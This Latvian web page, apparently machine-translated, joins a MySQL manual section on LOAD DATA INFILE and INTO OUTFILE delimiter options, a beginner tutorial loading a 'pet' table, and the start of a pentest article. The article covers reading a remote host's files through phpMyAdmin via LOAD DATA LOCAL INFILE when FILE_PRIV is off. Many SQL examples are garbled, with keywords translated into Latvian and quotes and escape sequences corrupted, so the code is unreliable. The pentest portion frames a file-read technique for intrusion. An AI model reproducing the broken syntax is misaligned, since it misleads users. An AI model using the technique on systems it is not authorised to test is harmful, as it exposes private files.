Ja ir norādīta konstrukcija FIELDS, tad arī visi tā parametri (TERMINATED BY, ENCLOSED BY un ESCAPED BY) ir neobligāti, izņemot prasību, ka jābūt vismaz vienam parametram.
Ja konstrukcija FIELDS nav norādīta, noklusējuma vērtība ir:
LAUKI, KAS BEIGTI AR "tf", AIZBEIGTI AR "ESCAPED BY"
Ja konstrukcija LINES nav norādīta, noklusējuma vērtība ir šāda:
RINDAS, KAS BEIDZAS AR "n! SĀKOT AR "
Citiem vārdiem sakot, LOAD DATA INFILE noklusējuma darbība, lasot ievadi, ir:

  1. Meklējiet līniju atdalītājus rindu sākumā.
  2. Neizlaidiet nevienu rindu prefiksu.
  3. Sadaliet rindu laukos, pamatojoties uz tabulēšanas rakstzīmēm.
  4. Negaidiet, ka lauki tiks citēti.
  5. Interpretējiet tabulēšanas rakstzīmes, rindiņas plūsmas vai rakstzīmes "\" gadījuma, pirms kuras ir \, kā burtiskas rakstzīmes, kas ir daļa no lauka vērtības.

Un otrādi, SELECT... INTO OUTFILE pēc noklusējuma darbojas šādi:

  1. Ieraksta tabulēšanas rakstzīmes starp laukiem.
  2. Neieskauj lauku vērtības ar pēdiņām.
  • Izmanto *", lai iezīmētu cilnes, jaunās rindiņas vai "\", kas atrodas lauku vērtībās.
  • Rindas beigās ieraksta jaunas rindiņas rakstzīmi.
Ņemiet vērā, ka, rakstot FIELDS ESCAPED BY "W", jums būs jānorāda divas atpakaļvērstās slīpsvītras vērtībām, kuru nolasīšanai nepieciešama viena atpakaļvērstā slīpsvītra.
Uz piezīmi!
Ja ģenerējāt teksta failu Windows sistēmā, iespējams, būs jānorāda LINES TERMINATED BY "rn, lai pareizi izlasītu failu, jo Windows programmās šīs divas rakstzīmes parasti tiek izmantotas kā rindu atdalītājs. Dažas programmas, piemēram, WordPad, var izmantot rakstzīmes ". r" kā rindu atdalītāju. Lai lasītu šādus failus, izmantojiet RINDAS, KAS BEIDZAS AR "r".
Ja visām lasāmā faila rindām ir kopīgs prefikss, kuru vēlaties ignorēt, izmantojiet LINES STARTING BY virknes_prefiksi lai izlaistu šo prefiksu. Ja rindā nav prefiksa, tā tiek izlaista pilnībā.

Ignorēt iespēju daudzums LINES izmanto, lai ignorētu noteiktu rindu skaitu faila sākumā. Piemēram, varat izmantot IGNORE I LINES, lai izlaistu sākotnējo rindiņu, kurā ir kolonnu nosaukumi:
mysql> LOAD DATA INFILE "/tmp/test.txt" -> INTO TABLE tests Ignorēt 1 RINDU;
Ja izmantojat SELECT... INTO OUTFILE kopā ar LOAD DATA INFILE, lai rakstītu datus no datu bāzes failā un pēc tam tos lasītu un ielādētu atpakaļ datu bāzē, abu priekšrakstu rindu un lauku pārvaldības opcijām ir jābūt vienādām. Pretējā gadījumā LOAD DATA INFILE nevarēs pareizi interpretēt teksta faila saturu. Pieņemsim, ka izmantojāt SELECT...INTO OUTFILE, lai izvadītu datus teksta failā, atdalot laukus ar komatiem:
mysql> ATLASĪT* INTO OUTFILE "data.txt" -> LAUKI, IZBEIGTI"," -> NO tabulas2;
Lai lasītu atpakaļ ar komatu atdalītu failu, pareizais veids, kā to izdarīt, ir:
mysql> IELĀDĒJIET DATU INFILE "data.txt1 TABLE2 -> LAUKUS IZBEIGS
Ja mēģināsit to izlasīt, izmantojot tālāk norādīto paziņojumu, tas nedarbosies, jo LOAD DATA INFILE starp lauka vērtībām meklēs tabulēšanas rakstzīmes:
mysql> IELODĒT DATU INFILE "data.txt" TABULĀ2 -> LAUKI, KAS BEIGTI AR "t";
Visticamākais rezultāts būs ievades virknes interpretācija kā viens lauks.
LOAD DATA INFILE var izmantot arī, lai lasītu failus no ārējiem avotiem. Piemēram, failā var būt lauki, kas atdalīti ar komatiem un ievietoti pēdiņās. Ja failā rindas ir atdalītas ar jaunas rindiņas rakstzīmi, tālāk redzamajā piemērā ir parādīts, kādas ir jāiestata rindu un kolonnu norobežotāja opcijas, lai ielādētu failu:
mysql> IELĀDĒJIET DATU INFILE "data.txt" TABULĀtabulas_nosaukums-> LAUKI, KAS IZBEIGTI AR 1,1, KAS IZBEIGTA AR"n";
Visas opcijas, kas norāda rindu un kolonnu atdalītājus, var izmantot tukšas virknes (") kā argumentus. Ja argumenti nav tukšas virknes, tad vērtībām FIELDS ENCLOSED BY un FIELDS ESCAPED BY ir jābūt vienādām. Argumenti laukiem FIELDS TERMINATED OPTIONS BY , rindiņas, kas sākas ar, UN RINDAS, KAS BEIDZAS, var būt vairāk nekā viena rakstzīme gara. Piemēram, lai rakstītu rindas, kas atdalītas ar karieta atgriešanu/rindu plūsmu, vai lai lasītu failus, kuros ir šādas rindas, norādiet RINDAS, KAS BEIDZAS AR "rn".
Lai lasītu failu, kas atdalīts ar rindām ar %% rakstzīmēm, varat rīkoties šādi:
mysql> IZVEIDOT TABULA jokus
-> (INT NOT NULL AUTO_INCREMENT PRIMARY KEY, -> joks TEKSTS NOT NULL);

mysql> IELĀDĒT DATU INFILE "/tmp/jokes,txf TABLE joki -> LAUKI, KAS PĀRTRAUKTA "" -> RINDAS, KAS PĀRTRAUKTA "\n%%\n" (joks);
LAUKI, KAS IEROBEŽOTI, kontrolē lauku atdalītājus (pēdas). Izvadē (SELECT... INTO OUTFILE), ja izlaidīsit vārdu IZVĒLES, visus laukus ieskauj rakstzīme, kas norādīta sadaļā ENCLOSED BY. Šādas izvades piemērs (izmantojot komatu kā lauka atdalītāju) ir parādīts zemāk:
"1", "virkne", "100,20"
"2","virkne, kas satur , komatu","102.20"
"3","virkne, kas satur \" citātu","102.20"
"4","virkne, kas satur \", pēdiņu un komatu","102.20"
Ja norādāt IZVĒLES, rakstzīme ENCLOSED BY tiek izmantota tikai, lai citētu laukus CHAR un VARCHAR:
1"virkne",100.20
3,"virkne, kas satur \"pēdiņu",102.20
4"virkne, kas satur \", pēdiņu un komatu",102.20
Ņemiet vērā, ka laukā ENCLOSED BY norādītās rakstzīmes gadījumiem lauka vērtībā ir rakstzīme, kas norādīta laukā ESCAPED BY. Turklāt, ja vienumam ESCAPED BY norādāt tukšu vērtību, iespējams, tiks ģenerēts fails, kuru LOAD DATA INFILE nevarēs pareizi ielādēt.
Piemēram, ja atcelšanas rakstzīme ir atstāta tukša, iepriekš redzamā izvade izskatīsies šādi. Ir viegli redzēt, ka otrajā laukā ceturtajā rindā ir komats aiz pēdiņas, kas (kļūdaini) parādīsies kā lauku atdalītājs.
1"virkne",100.20
2"virkne, kas satur , komatu",102.20
3,"virkne, kas satur " citātu",102.20
4,"virkne, kas satur ", pēdiņu un komatu",102.20
Rakstīšanas laikā simbols AIZVĒRTS, ja tāds ir, tiek noņemts no lauka vērtību beigām. (Tas ir taisnība, neatkarīgi no tā, vai ir norādīts vārds IZVĒLES. Šim vārdam nav nekādas ietekmes, interpretējot ievadi.) Rakstzīmju ENCLOSED BY parādīšanās, pirms kuras ir rakstzīme ESCAPED BY, tiek interpretēta kā pašreizējā lauka vērtības daļa.
Ja lauks sākas ar rakstzīmi ENCLOSED BY, šīs rakstzīmes gadījumi tiek interpretēti kā lauka vērtības beigu tikai tad, ja tiem seko lauks vai secība TERMINATED BY. Lai izvairītos no neskaidrībām, kad lauka vērtībā parādās rakstzīme ENCLOSED BY, rakstzīmi var dublēt, un tā tiks interpretēta kā viens rakstzīmes gadījums. Piemēram, ja ir norādīts AIZLIKUMS "", citāti tiek apstrādāti šādi:
""Lielais"" boss" -> "LIELS" priekšnieks "LIELS" priekšnieks -> "LIELS" priekšnieks ""LIELS"" priekšnieks -> "LIELS" priekšnieks
FIELDS ESCAPED BY kontrolē speciālo rakstzīmju lasīšanu vai rakstīšanu. Ja arguments FIELDS ESCAPED BY nav tukšs, tas tiek izmantots kā prefikss šādām rakstzīmēm izvadē:

  1. LAUKI, KAS IZBĒGTI AR simbolu.
  2. LAUKUS AIZVĒRO AR simbolu.
  3. Pirmais RAKSTURS no sekvencēm FIELDS TERMINATED BY UN LINES TERMINATED BY.
  4. ASCII 0 (kas tiek rakstīts pēc atcelšanas rakstzīmes kā ASCII “0”, nevis kā nulles baits).

Ja rakstzīme FIELDS ESCAPED BY ir tukša, pirms nevienas rakstzīmes netiek izmantotas atsoļa rakstzīmes, un NULL tiek izvadīta kā NULL, nevis \N. Iespējams, nav ieteicams atstāt tukšu argumentu FIELDS ESCAPED BY, it īpaši, ja jūsu datu lauka vērtībās ir ietverta kāda no minētajām rakstzīmēm.
Ievadot, ja lauks FIELDS ESCAPED BY nav tukšs, tad, kad šī rakstzīme parādās vērtību rindā, tā tiek noņemta, un nākamā rakstzīme tiek nolasīta burtiski, kā daļa no lauka vērtības. Izņēmumi ir secības "0" vai "N" (SYS-PAGE-CONTENT vai \N, ja atsoļa rakstzīme ir "\"). Šīs secības tiek interpretētas attiecīgi kā ASCII NUL (null baits) un NULL. NULL apstrādes noteikumi ir aprakstīti vēlāk šajā sadaļā.
Plašāku informāciju par "\" atcelšanas sintaksi var atrast sadaļā Literālās vērtības
Dažos gadījumos opcijas, kas kontrolē laukus un rindas, mijiedarbojas viena ar otru:

  1. Ja rindai LINES TERMINATED BY ir norādīta tukša virkne un lauks FIELDS TERMINATED BY nav tukšs, tad rindu atdalītājs ir arī LINES TERMINATED BY.
  2. JA GANĀS LAUKI, KAS IZBEIGTAS, UN LAUKI, KAS NOSLĒDZI, ir tukši, tiek IZMANTOTS fiksētais virknes formāts (bez atdalītājiem). Šajā formātā starp laukiem netiek izmantoti atdalītāji (taču var būt rindiņu atdalītājs). Tā vietā kolonnu vērtības tiek rakstītas un lasītas, izmantojot kolonnas displeja platumu. Piemēram, ja kolonna ir deklarēta kā INT(7), kolonnas vērtības tiek ierakstītas septiņu rakstzīmju laukā. Pēc ievadīšanas kolonnu vērtības tiek izgūtas, nolasot septiņas rakstzīmes.

LINES TERMINATED BY joprojām tiek izmantots līniju atdalīšanai. Ja rindā nav visi lauki, pārējām kolonnām tiek piešķirtas to noklusējuma vērtības. Ja jums nav rindas beigu, tā vērtība ir jāiestata uz 1". Šādā gadījumā teksta failā ir jābūt visiem laukiem katrā rindā. Fiksētas rindiņas garuma formāts attiecas arī uz NULL vērtību apstrādi, kā aprakstīts. Jāņem vērā, ka fiksēta garuma formāta garums nedarbojas, ja tiek izmantota vairāku baitu rakstzīmju kopa (piemēram, Unicode).
NULL vērtību apstrāde atšķiras atkarībā no izmantotajām FIELDS un LINES opcijām:

  1. Izmantojot noklusējuma vērtības FIELDS un LINES, NULL tiek rakstīts kā lauka vērtība kā \N izvadei, un tā pati \N vērtība tiek nolasīta kā NULL ievadei (pieņemot, ka rakstzīme ESCAPED BY ir iestatīta uz "\").
  2. Ja lauks FIELDS ENCLOSED BY nav tukšs, lauks, kurā ir burtisks vārds NULL, tiek lasīts kā NULL. Tas atšķiras no gadījuma, kad vārds NULL ir norobežots ar rakstzīmēm FIELDS ENCLOSED BY, kur vērtība tiek nolasīta kā virkne "NULL".
  3. Ja lauks FIELDS ESCAPED BY ir tukšs, NULL tiek rakstīts kā vārds NULL.
  • Fiksēta virknes garuma formātā (kas notiek, ja lauki FIELDS TERMINATED BY un FIELDS ENCLOSED BY ir tukši) NULL tiek rakstīts kā tukša virkne. Ņemiet vērā, ka tas izraisa NULL vērtības un tukšas rindas tabulā, rakstot failā, tās nevar atšķirt, jo abas raksta tukšas rindas. Ja jums tie ir jānošķir, neizmantojiet fiksētas līnijas garuma formātu.
    Tālāk ir norādīti daži gadījumi, kurus neatbalsta LOAD DATA INFILE.
    1. Fiksētas LENGTH rindas (FIELDS TERMINATED BY UN FIELDS ENCLOSED BY nyctye) kolonnu TEXT vai BLOB klātbūtnē.
    2. Ja norādāt norobežotāju, kas ir tāds pats kā cita prefikss, LOAD DATA INFILE var nepareizi interpretēt ievades straumi. Piemēram, šādas opcijas radīs problēmas:

    LAUKI, KAS BEIGTI AR "" AIZBEIGTI AR ""

    • Ja lauks FIELDS ESCAPED BY ir tukšs, lauku vērtībām, kas ietver rakstzīmes FIELDS ENCLOSED BY VAI RINDAS, BEIGTAS BY, kam seko RINDAS, BEIGTAS AR CHARACTER, LOAD DATA INFILE pārtrauks faila vai rindiņas lasīšanu pārāk agri. Tas notiks, jo LOAD DATA INFILE nevar pareizi noteikt, kur beidzas lauka vai rindas vērtība. Šis piemērs ielādē visas personas datu tabulas kolonnas: mysql> IELĀDĒT DATU INFILE "persondata.txt" TABULA persondatos;
      Pēc noklusējuma, ja vien priekšraksta LOAD DATA INFILE beigās nav norādīts kolonnu saraksts, ievades rindā ir jāsatur lauki katrai tabulas kolonnai. Ja vēlaties ielādēt tikai dažas tabulas kolonnas, norādiet kolonnu sarakstu:
      mysql> IELĀDĒT DATU INFILE "persondata.txt1
      -> INTO TABLE personas dati(coll,col2,...);
      Ir arī jānorāda kolonnu saraksts, ja ievades faila lauku secība atšķiras no tabulas kolonnu secības. Pretējā gadījumā MySQL nevarēs izveidot kartēšanu starp ievades laukiem un tabulas kolonnām.
      Ja ievades failā rindās ir pārāk maz lauku, trūkstošajām kolonnām tiks piešķirtas noklusējuma vērtības. Noklusējuma vērtību piešķiršana ir aprakstīta sadaļā CREATE TABLE Sintakse
      Tukšo lauku vērtības tiek interpretētas savādāk nekā trūkstošo lauku vērtības:
      1. Virkņu veidiem kolonnai tiek piešķirta tukša virkne.
      2. Skaitliskajiem veidiem kolonnai tiek piešķirta 0.
      3. Datuma un laika veidiem - kolonnai ir iestatīts atbilstošs veids
        "nulle" vērtība. Skatiet Datuma un laika veidi

      Tās ir tās pašas vērtības, kas rodas, skaidri piešķirot tukšu virkni šāda veida kolonnām INSERT vai UPDATE priekšrakstā.
      TIMESTAMP kolonnas vērtības tiek iestatītas uz pašreizējo datumu un laiku tikai tad, ja tās ir iestatītas uz NULL (tas ir, \N) vai ja šāda veida kolonna tiek izlaista no lauku saraksta, ja ir nodrošināts lauku saraksts.

      LOAD DATA INFILE visu ievadi apstrādā kā virknes ievadi, tāpēc kolonnām ENUM vai SET nevar izmantot skaitliskās vērtības, kā tas ir atļauts INSERT priekšrakstos. Visas ENUM vai SET vērtības jānorāda kā virknes!
      Kad LOAD DATA INFILE priekšraksts ir pabeigts, tas atgriež informācijas virkni šādā formātā:
      Ieraksti: Es Izdzēsts: 0 Izlaists: 0 Brīdinājumi: Par
      Ja strādājat ar C API, informāciju par šo paziņojumu varat iegūt, izsaucot funkciju mysql_info().
      Brīdinājumi, kas parādās noteiktos apstākļos, ir tādi paši kā tie, kas rodas, ievietojot vērtības ar INSERT priekšrakstu (skatiet 6.1.4. sadaļu), izņemot to, ka LOAD DATA INFILE arī ģenerē brīdinājumus, ka lauku ir pārāk maz vai pārāk daudz. Brīdinājumi nekur netiek glabāti, brīdinājumu skaitu var izmantot tikai kā zīmi, ka viss ir izdevies.
      Kopš MySQL 4.1.1 varat izmantot SHOW WARNINGS, lai uzskaitītu pirmos max_error_count brīdinājumus kā informāciju par Kas Ielāde notika nepareizi. Skatiet RĀDĪT BRĪDINĀJUMUS Sintakse
      Pirms MySQL 4.1.1 tikai brīdinājumu skaits liecināja par to, ka slodze nenotiek gludi. Ja saņemat brīdinājumu un vēlaties precīzi zināt, kāpēc tas parādījās, vienīgais veids, kā to izdarīt, ir izmantot SELECT...INTO OUTFILE, lai izmestu tabulu citā failā un salīdzinātu to ar sākotnējo ievades failu.

Navigācija apmācībā: 1.1. Kas ir MySQL? 1.2 Kāpēc izmantot MySQL? 1.3 Cik stabils ir MySQL? 1.4 Cik lielas var būt MySQL tabulas? 1.5 MySQL, MySQL AB, MySQL-MAX: kas tas ir? 1.6. Kurās operētājsistēmās darbojas MySQL? 1.7 MySQL izplatīšana 1.8 MySQL komandrindas uzvednes 2.1 Ievads MySQL 2.2 Savienojuma izveide ar MySQL serveri 2.3 Vaicājumu ievadīšana MySQL 2.4 Datu bāzu izveide un izmantošana 2.5 MySQL datu bāzes izveide 2.6 MySQL datu bāzes izveide 2.6 MySQL datu tabulas izveide 2.7 MySQL datu atlase 2.7. MySQL tabula 2.9 Konkrētu rindu atlase no MySQL tabulas 2.10 Patvaļīgu kolonnu atlase no MySQL tabulas 2.11 rindu kārtošana no MySQL tabulas 2.12 datumu aprēķināšana MySQL tabulā 2.13 Darbs ar NULL vērtībām MySQL tabulā 2.14 Rakstu saskaņošana. SQL veidnes. 2.15. Rindu skaitīšana SQL veidnēs. Funkcija COUNT() 2.16. Vairāku tabulu izmantošana vienā SQL vaicājums 2.17 Informācijas iegūšana par MySQL datu bāzēm un tabulām 2.18 MySQL izplatīto vaicājumu piemēri 2.19 Maksimālā MySQL kolonnas vērtība 2.20 Kurā rindā tiek saglabāts noteiktas MySQL kolonnas maksimums 2.21 Kolonnas maksimums MySQL grupā 2.22 Kurā MySQL rindā ir maksimālā vērtība grupai? 2.23. Lietotāja mainīgo izmantošana programmā MySQL 2.24. MySQL klienta izmantošana pakešrežīmā 3.1. rindas pakalpojumā MySQL 3.2. Cipari MySQL. Kā rakstīt skaitļus MySQL? 3.3 Heksadecimālās vērtības MySQL 3.4 NULL vērtības MySQL 3.5 datu bāzē, tabulā, indeksā, kolonnā un aizstājvārdos MySQL 3.6 reģistrjutība MySQL nosaukumos 3.7 lietotāja mainīgie MySQL 3.8 komentāri programmā MySQL 3.9 WordsSQL. MySQL datu bāzu dublēšana 4.2 DUBLĒŠANAS TABULAS sintakse programmā MySQL 4.3 ATJAUNOT TABULAS sintakse programmā MySQL 4.4 PĀRBAUDĪT TABULU Sintakse programmā MySQL 4.5 REPAIR TABLE Sintakse MySQL 4.6 OPTIMIZĒT TABULU Sintakse MySQL 4.7 MySQL Syntax.4 ANALĪZE. Sintakse ILL in inedSQL 4.10 SHOW Sintakse MySQL 4.11 SHOW TABLE STATUS sintakse programmā MySQL 4.12 SHOW STATUS sintakse programmā MySQL 4.13 SHOW VARIABLES sintakse programmā MySQL 4.14 back_log 4.15 rakstzīmju_kopa, rakstzīmju_kopas, aizkaves_atslēga_laika_out,sert_sert.4 concurrent. limits 4.17 delayed_insert_timeout, delayed_queue_ size, flush_time 4.18 have_raid, have_ssl, init_file 4.19 interactive_timeout, join_buffer_size , key_buffer_size 4.20 valoda, log_bin, long_query_time 4.21 small_case_table_names, max_allowed_packet, max_binlog_cache_size 4.22_ max_connect_ max. , max_sort_length, max_user_connections 4.24 max_tmp_tables, max_write_lock_count, myisam_sort_buffer_size 4.25 mуisam_max_extra_sоrt_file_size, myisam_max_sort_file_size, netw_outtime_, net_outre_size, net_outre_4. rite_timeout 4.27 open_files_limit, port, record_buffer 4.28 protocol_version, record_rnd_buffer, query_buffer_size 4.29 safe_show_databases, skip_networking, skip_show_databases 4.30 ligzda, sort_buffer, skip_show4_databs1, threadt_ 4.32. RĀDĪT PROCESU SARAKSTU sintakse programmā MySQL 4.33 Syn taxi RĀDĪT DOTĀCIJAS programmā MySQL 4.34 Sintakse RĀDĪT CREATE TABLE programmā MySQL 4.35 Opciju fails my.cnf pakalpojumā MySQL 5.1 Kolonnu tipi pakalpojumā MySQL 5.2 Skaitliskie veidi pakalpojumā MySQL 5.3 Datuma un laika veidi pakalpojumā MySQL 5. 4 Y2K (2000) problēma un datuma tipi MySQL 5.5 DATETIME, DATE un TIMESTAMP tipi MySQL 5.6 TIME tips MySQL 5.7 YEAR tips MySQL 5.8 CHAR un VARCHAR virkņu tipi MySQL 5.9 BLOB un TEXT virkņu tipi MySQL tipā ENUM 5.10 MySQL versijā 5.11 Virknes tips SET programmā MySQL 5.12. Pareizā tipa izvēle MySQL kolonnai 5.13. Kolonnu tipu izmantošana no citām DBVS programmām MySQL 5.14. Atmiņas prasības MySQL kolonnām 6.1. Funkcijas MySQL izmantošanai programmā SELECT un WHERE 6.2. Untyped operator Brackets in MySQL 6.2. operators MySQL 6.4 Loģiskie operatori MySQL 6.5 Sazarojuma funkcijas MySQL 6.6 Virknes funkcijas MySQL

Pēc tabulas izveides tā ir jāaizpilda ar datiem. Instrukcijas un IEVIETOT noderīgi šim nolūkam. Par to darbību mēs runāsim nedaudz vēlāk, bet pagaidām padomāsim par datiem, kas jāievada tabulā. Kā tieši viņi izskatās?

Pieņemsim, ka jūsu ierakstus par savvaļas dzīvniekiem varētu aprakstīt šādi. Ņemiet vērā, ka MySQL sagaida datumus formātā gads-mēnesis-diena, tas var atšķirties no tā, pie kā esat pieradis. Gadu labāk ievadīt kā 4 ciparus. MySQL ir diezgan sarežģīts algoritms, lai pareizi apstrādātu divciparu gada vērtības, taču jums tas pagaidām nav jāizdomā, tāpēc ievadīsim datus nepārprotami. Visi dati par dzīvniekiem mūsu piemērā ir parādīti 2.2. tabulā:

2.2. tabula. Dzīvnieku dati

nosaukums īpašnieks sugas sekss dzimšanas nāvi
Pūkains Harolds kaķis f 1993-02-04
Pūkains Harolds kaķis f 1993-02-04
Spīles Gvena kaķis m 1994-03-17
Bafija Harolds suns f 1989-05-13
Ilknis Benijs suns m 1990-08-27
Bowser Diāna suns m 1989-08-31 1995-07-29
Čaulains Gvena putns f 1998-09-11
Vistlers Gvena putns 1997-12-09
Slaids Benijs čūska m 1996-04-29

Tā kā jūs sākat ar tukšu tabulu, vienkāršākais veids, kā to aizpildīt, ir izveidot teksta failu, kurā ir rindiņa katram jūsu dzīvniekam, un pēc tam ielādēt faila saturu tabulā, izmantojot tikai vienu paziņojumu.

Varat izveidot teksta failu pet.txt, kurā ir viens ieraksts katrā rindā, un vērtības, kas atdalītas ar tabulēšanas pieturām, norādītas secībā, kādā kolonnas tika uzskaitītas priekšrakstā CREATE TABLE. Trūkstošām vērtībām (piemēram, nezināms dzimums vai nāves datumi dzīvniekiem, kuri joprojām dzīvo), varat izmantot NULL vērtības. Lai tos attēlotu teksta failā, izmantojiet etiķeti. Piemēram, ieraksts par Vistleras putnu izskatās apmēram šādi (es izmantoju atstarpi, lai norādītu cilni):

Vistlera Gvena putns 1997-12-09

Lai ielādētu datus no teksta faila pet.txt, kas atrodas vietnē lokālais dators(klients), nevis serverī, mājdzīvnieku tabulā izmantojiet komandu LOAD DATA:

Mysql> LOAD DATA LOCAL INFILE "pet.txt" TABLE pet;

Atslēgas vārdiem ir šāda nozīme. INFILE definē virkni, kas ir faila nosaukums, no kura jānolasa dati. Tā kā nosaukums ir virkne, tas ir ievietots pēdiņās, pretējā gadījumā MySQL mēģinās to novērtēt kā skaitlisku izteiksmi. VIETĒJS norāda, ka fails ir jāmeklē klienta sistēmā, nevis serverī. UZ GALDU uzdod ielādēt datus tabulā, kuras nosaukums norādīts uzreiz aiz vārda TABULA (atdalot ar atstarpi).

Ja vēlaties, paziņojumā varat skaidri norādīt kolonnas vērtību atdalītāju un rindas beigu marķieri, taču noklusējuma vērtības ir tabulēšana un rindas plūsma. Ar tiem pietiek, lai pareizi nolasītu failu pet.txt, un vairāk jums šobrīd nav nepieciešams.

Ja vēlaties pievienot jaunus ierakstus pa vienam, instrukcija ir noderīga IEVIETOT. Vienkāršākajā veidā katrai kolonnai sniedzat vērtības tādā secībā, kādā kolonnas tika uzskaitītas priekšrakstā CREATE TABLE. Pieņemsim, ka Diāna saņēma jaunu kāmīti Puffball. Varat pievienot jaunu ierakstu, izmantojot INSERT priekšrakstu, piemēram:

Mysql INSERT INTO pet
-> VĒRTĪBAS ("Puffball", "Diane", "hamster", "f", "1999-03-30", "NULL");

Atslēgvārdi šeit arī nav īpaši sarežģīti. INTO pet nosaka, kurā galdā ieliktnis nonāk. VĒRTĪBAS norāda ievietoto vērtību sarakstu jauns ieraksts tabulā. Vērtības ir norādītas, atdalot tās ar komatiem, un visas tiek ņemtas kopā iekavās.

Ņemiet vērā, ka virknes un datuma vērtība ir definētas kā virknes. Varat tieši ievietot NULL (nevis kā virkni), lai attēlotu vērtības neesamību.

No šī piemēra var redzēt, ka, lai ielādētu tieši tabulā, būs nepieciešams diezgan daudz rakstīt. Norādījumi ietaupīja daudz laika.

Es aprakstu diezgan izplatītu situāciju. Pentesta laikā tika iegūta piekļuve phpMyAdmin attālajā resursdatorā, taču caur to nebija iespējams piekļūt failiem. Pie vainas ir bēdīgi slavenais FILE_PRIV=no karodziņa MySQL dēmona iestatījumos. Daudzi cilvēki šajā situācijā padodas un uzskata, ka resursdatorā esošos failus šādā veidā vairs nevar nolasīt. Taču ne vienmēr tā ir.

BRĪDINĀJUMS

Visa informācija tiek sniegta tikai informatīviem nolūkiem. Ne redaktori, ne autors nav atbildīgi par iespējamo kaitējumu, ko nodara šī raksta materiāli.

Prelūdija

Runājot par MySQL DBVS mijiedarbību ar failu sistēmu, viņi parasti atceras:

  • funkcija LOAD_FILE, kas ļauj lasīt failus serverī;
  • konstrukcija SELECT ... INTO OUTFILE, ko var izmantot jaunu failu izveidošanai.

Attiecīgi, ja jums ir piekļuve phpMyAdmin vai jebkuram citam klientam attālā mašīnā, tad ar lielu varbūtību varat piekļūt failu sistēmai, izmantojot MySQL. Bet tikai tad, ja dēmona iestatījumos ir iestatīts karogs FILE_PRIV=yes, kas ne vienmēr notiek. Šajā gadījumā mums jāatceras par citu operatoru, kas ir daudz mazāk pazīstams, bet tajā pašā laikā ar diezgan jaudīgu funkcionalitāti. Es runāju par operatoru LOAD DATA INFILE, kura funkcijas tiks apspriestas šajā rakstā.

Mijiedarbība starp PHP un MySQL

PHP ir visizplatītākā valoda tīmekļa lietojumprogrammu izveidei, tāpēc ir vērts sīkāk izpētīt, kā tā mijiedarbojas ar datu bāzi.

PHP4 MySQL klientu bibliotēkas tika iekļautas pēc noklusējuma un iekļautas PHP izplatīšanā, tāpēc instalēšanas laikā varēja atteikties no MySQL izmantošanas, tikai norādot opciju

Bez mysql.

PHP5 ir pieejams bez klienta bibliotēkas. *nix sistēmās PHP5 parasti tiek kompilēts ar libmysqlclient bibliotēku, kas jau ir instalēta serverī, vienkārši iestatot opciju

Ar-mysql=/usr

montāžas laikā. Tomēr līdz pat versijai 5.3 zema līmeņa MySQL klientu bibliotēka (libmysql) tiek izmantota, lai mijiedarbotos ar MySQL serveri — saskarni, kas nav optimizēta saziņai ar PHP lietojumprogrammām.

PHP 5.3 un jaunākām versijām tika izstrādāts MySQL Native Driver (mysqlnd), un nesen izlaistajā PHP 5.4 versijā šis draiveris tiek izmantots pēc noklusējuma. Lai gan iebūvētais MySQL draiveris ir rakstīts kā PHP paplašinājums, ir svarīgi saprast, ka tas PHP programmētājam nenodrošina jaunu API. MySQL datu bāzes API programmētājam nodrošina MySQL, mysqli un PDO_MYSQL paplašinājumi. Šie paplašinājumi var izmantot iebūvēto MySQL draiveri, lai sazinātos ar MySQL dēmonu.

Iebūvētā MySQL draivera izmantošana piedāvā dažas priekšrocības salīdzinājumā ar MySQL klienta bibliotēku: piemēram, jums nav jāinstalē MySQL, lai izveidotu PHP vai izmantotu datu bāzes skriptus. Plašāku informāciju par MySQL Native Driver un to, kā tas atšķiras no libmysql, var atrast dokumentācijā.

MySQL, mysqli un PDO_MYSQL paplašinājumus var individuāli konfigurēt, lai izmantotu libmysql vai mysqlnd. Piemēram, lai konfigurētu MySQL paplašinājumu, lai izmantotu MySQL klienta bibliotēku, un mysqli paplašinājumu darbam ar MySQL Native Driver, ir jānorāda šādas opcijas:

`./configure --with-mysql=/usr/bin/mysql_config --with-mysqli=mysqlnd`

LOAD DATA Sintakse

Paziņojums LOAD DATA, kā teikts dokumentācijā, nolasa rindas no faila un ļoti lielā ātrumā ielādē tās tabulā. To var lietot ar atslēgvārds LOCAL (pieejams MySQL 3.22.6 un jaunākās versijās), kas norāda, no kurienes dati tiks ielādēti. Ja trūkst vārda LOCAL, serveris ielādē norādīto failu tabulā no vietējās mašīnas, nevis no klienta datora. Tas ir, failu nelasīs MySQL klients, bet gan MySQL serveris. Bet šai darbībai atkal ir nepieciešama FILE privilēģija (FILE_PRIV=jā karodziņš). Paziņojuma izpildi šajā gadījumā var salīdzināt ar funkcijas LOAD_FILE izmantošanu - ar vienīgo atšķirību, ka dati tiek ielādēti tabulā, nevis izvade. Tādējādi failu lasīšanai izmantot LOAD DATA INFILE ir jēga tikai tad, ja funkcija LOAD_FILE nav pieejama, tas ir, ļoti vecās MySQL servera versijās.

Bet, ja operators tiek izmantots šādā formā: LOAD DATA LOCAL INFILE, tas ir, izmantojot vārdu LOCAL, tad failu nolasa klienta programma (klienta mašīnā) un nosūta uz serveri, kurā atrodas datu bāze. Šajā gadījumā FILE privilēģija, protams, nav nepieciešama, lai piekļūtu failiem (jo viss notiek klienta datorā).

MySQL/mysqli/PDO_MySQL paplašinājumi un LOAD DATA LOCAL priekšraksts

MySQL paplašinājumā iespēju izmantot LOCAL kontrolē PHP_INI_SYSTEM direktīva mysql.allow_local_infile. Pēc noklusējuma šīs direktīvas vērtība ir 1, un tāpēc mums nepieciešamais operators parasti ir pieejams. Arī funkcija mysql_connect ļauj iespējot iespēju izmantot LOAD DATA LOCAL, ja piektais arguments satur konstanti 128.

Ja PDO_MySQL paplašinājums tiek izmantots, lai izveidotu savienojumu ar datu bāzi, mēs varam iespējot arī LOCAL atbalstu, izmantojot konstanti PDO::MYSQL_ATTR_LOCAL_INFILE (vesels skaitlis).

$pdo = new ACVN("mysql:host=localhost;dbname=mydb", "lietotājs", "pass", masīvs(PDO::MYSQL_ATTR_LOCAL_INFILE => 1));

Bet vislielākās iespējas darbam ar LOAD DATA operatoru nodrošina mysqli paplašinājums. Šis paplašinājums nodrošina arī PHP_INI_SYSTEM direktīvu mysqli.allow_local_infile, kas regulē LOCAL izmantošanu.

